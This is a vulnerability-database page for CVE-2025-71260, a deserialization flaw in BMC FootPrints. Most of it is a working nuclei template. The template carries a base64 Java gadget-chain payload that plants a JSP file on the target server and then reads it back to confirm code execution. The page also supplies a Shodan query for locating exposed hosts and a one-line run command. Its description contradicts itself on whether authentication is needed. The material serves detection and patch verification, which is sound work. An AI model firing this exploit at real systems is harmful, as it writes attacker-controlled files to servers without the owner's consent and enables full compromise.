HexBrain

Browse / CVEs / CVE-2025-71260

CVE-2025-71260

BMC FootPrints - Deserialization of Untrusted Data (RCE)

criticalseverity
34.4%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

BMC FootPrints Asset Core is vulnerable to pre-authentication remote code execution via Java deserialization in the aspnetconfig endpoint.

Impact

Authenticated attackers can execute arbitrary code remotely, fully compromising the application.

Fix

Upgrade BMC FootPrints to the latest patched version.

How to confirm it

Send: GET /footprints/servicedesk/passwordreset/request/
Positive when: contains(header, "SEC_TOKEN=")
Send: GET /footprints/servicedesk/aspnetconfig?__VIEWSTATE={{filename}}
Positive when: status_code == 500
Send: GET /{{filename}}.jsp
Positive when: contains "System Information" and "OS User:" and "Current Working Directory:" AND status 200

Run it with nuclei: nuclei -id CVE-2025-71260 -u <target>

The full check
id: CVE-2025-71260

info:
  name: BMC FootPrints - Deserialization of Untrusted Data (RCE)
  author: watchTowr,DhiyaneshDk
  severity: critical
  description: |
    BMC FootPrints Asset Core is vulnerable to pre-authentication remote code execution via Java deserialization in the aspnetconfig endpoint.
  impact: |
    Authenticated attackers can execute arbitrary code remotely, fully compromising the application.
  remediation: Upgrade BMC FootPrints to the latest patched version.
  reference:
    - https://labs.watchtowr.com/thanks-itsms-threat-actors-have-never-been-so-organized-bmc-footprints-pre-auth-remote-code-execution-chains/
    - https://github.com/watchtowrlabs/watchTowr-vs-BMC-Footprints-RCE-CVE-2025-71257-CVE-2025-71260/blob/main/watchTowr-vs-BMC-Footprints-RCE-CVE-2025-71257-CVE-2025-71260.py
    - https://nvd.nist.gov/vuln/detail/CVE-2025-71260
  metadata:
    verified: true
    max-request: 4
    shodan-query: html:"/footprints/servicedesk/"
  tags: cve,cve2025,servicedesk,bmc-software,rce,intrusive,file-upload

flow: http(1) && code(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /footprints/servicedesk/passwordreset/request/ HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(header, "SEC_TOKEN=")'
        internal: true

  - raw:
      - |
        GET /footprints/servicedesk/aspnetconfig?__VIEWSTATE={{filename}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Content-Length: {{len(payload)}}

        __VIEWSTATE={{payload}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 500'
        internal: true

  - raw:
      - |
        GET /{{filename}}.jsp HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "System Information"
          - "OS User:"
          - "Current Working Directory:"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: os_user
        part: body
        regex:
          - 'OS User:</strong>\s*([^<]+)'
        group: 1

code:
  - engine:
      - py
      - python3

    source: |
      import random
      import string
      import base64
      from urllib.parse import quote

      original_b64 = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAGndlYmFwcHMvUk9PVC93YXRjaFRvd3IuanNwc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHEAfgADeHB1cgACW0Ks8xf4BghU4AIAAHhwAAABvjwlQCBwYWdlIGxhbmd1YWdlPSJqYXZhIiBjb250ZW50VHlwZT0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04IiBwYWdlRW5jb2Rpbmc9IlVURi04IiU+CjwlCiAgICBTdHJpbmcgb3NVc2VyID0gU3lzdGVtLmdldFByb3BlcnR5KCJ1c2VyLm5hbWUiKTsKICAgIFN0cmluZyBjd2QgPSBTeXN0ZW0uZ2V0UHJvcGVydHkoInVzZXIuZGlyIik7CiU+CjwhRE9DVFlQRSBodG1sPgo8aHRtbD4KPGhlYWQ+CiAgICA8dGl0bGU+d2F0Y2hUb3dyIFN5c3RlbSBJbmZvPC90aXRsZT4KPC9oZWFkPgo8Ym9keT4KICAgIDxoMT5TeXN0ZW0gSW5mb3JtYXRpb248L2gxPgogICAgPHA+PHN0cm9uZz5PUyBVc2VyOjwvc3Ryb25nPiA8JT0gb3NVc2VyICU+PC9wPgogICAgPHA+PHN0cm9uZz5DdXJyZW50IFdvcmtpbmcgRGlyZWN0b3J5Ojwvc3Ryb25nPiA8JT0gY3dkICU+PC9wPgo8L2JvZHk+CjwvaHRtbD4Kc3IAPm9yZy5hc3BlY3RqLndlYXZlci50b29scy5jYWNoZS5TaW1wbGVDYWNoZSRTdG9yZWFibGVDYWNoaW5nTWFwO6sCH0tqVloCAANKAApsYXN0U3RvcmVkSQAMc3RvcmluZ1RpbWVyTAAGZm9sZGVydAASTGphdmEvbGFuZy9TdHJpbmc7eHIAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4AAABmQ2q4P0AAAAMdAABLnh4"

      target = b"watchTowr"
      random_name = ''.join(random.choices(string.ascii_letters + string.digits, k=9))

      decoded = base64.b64decode(original_b64)
      modified = decoded.replace(target, random_name.encode())
      encoded = base64.b64encode(modified).decode()
      payload = quote(encoded, safe='')

      print(f"{random_name}|{payload}")

    extractors:
      - type: regex
        name: filename
        internal: true
        regex:
          - '^([^|]+)'
        group: 1

      - type: regex
        name: payload
        internal: true
        regex:
          - '\|(.+)$'
        group: 1

References

Use this check only on systems you are authorised to test. Where the data comes from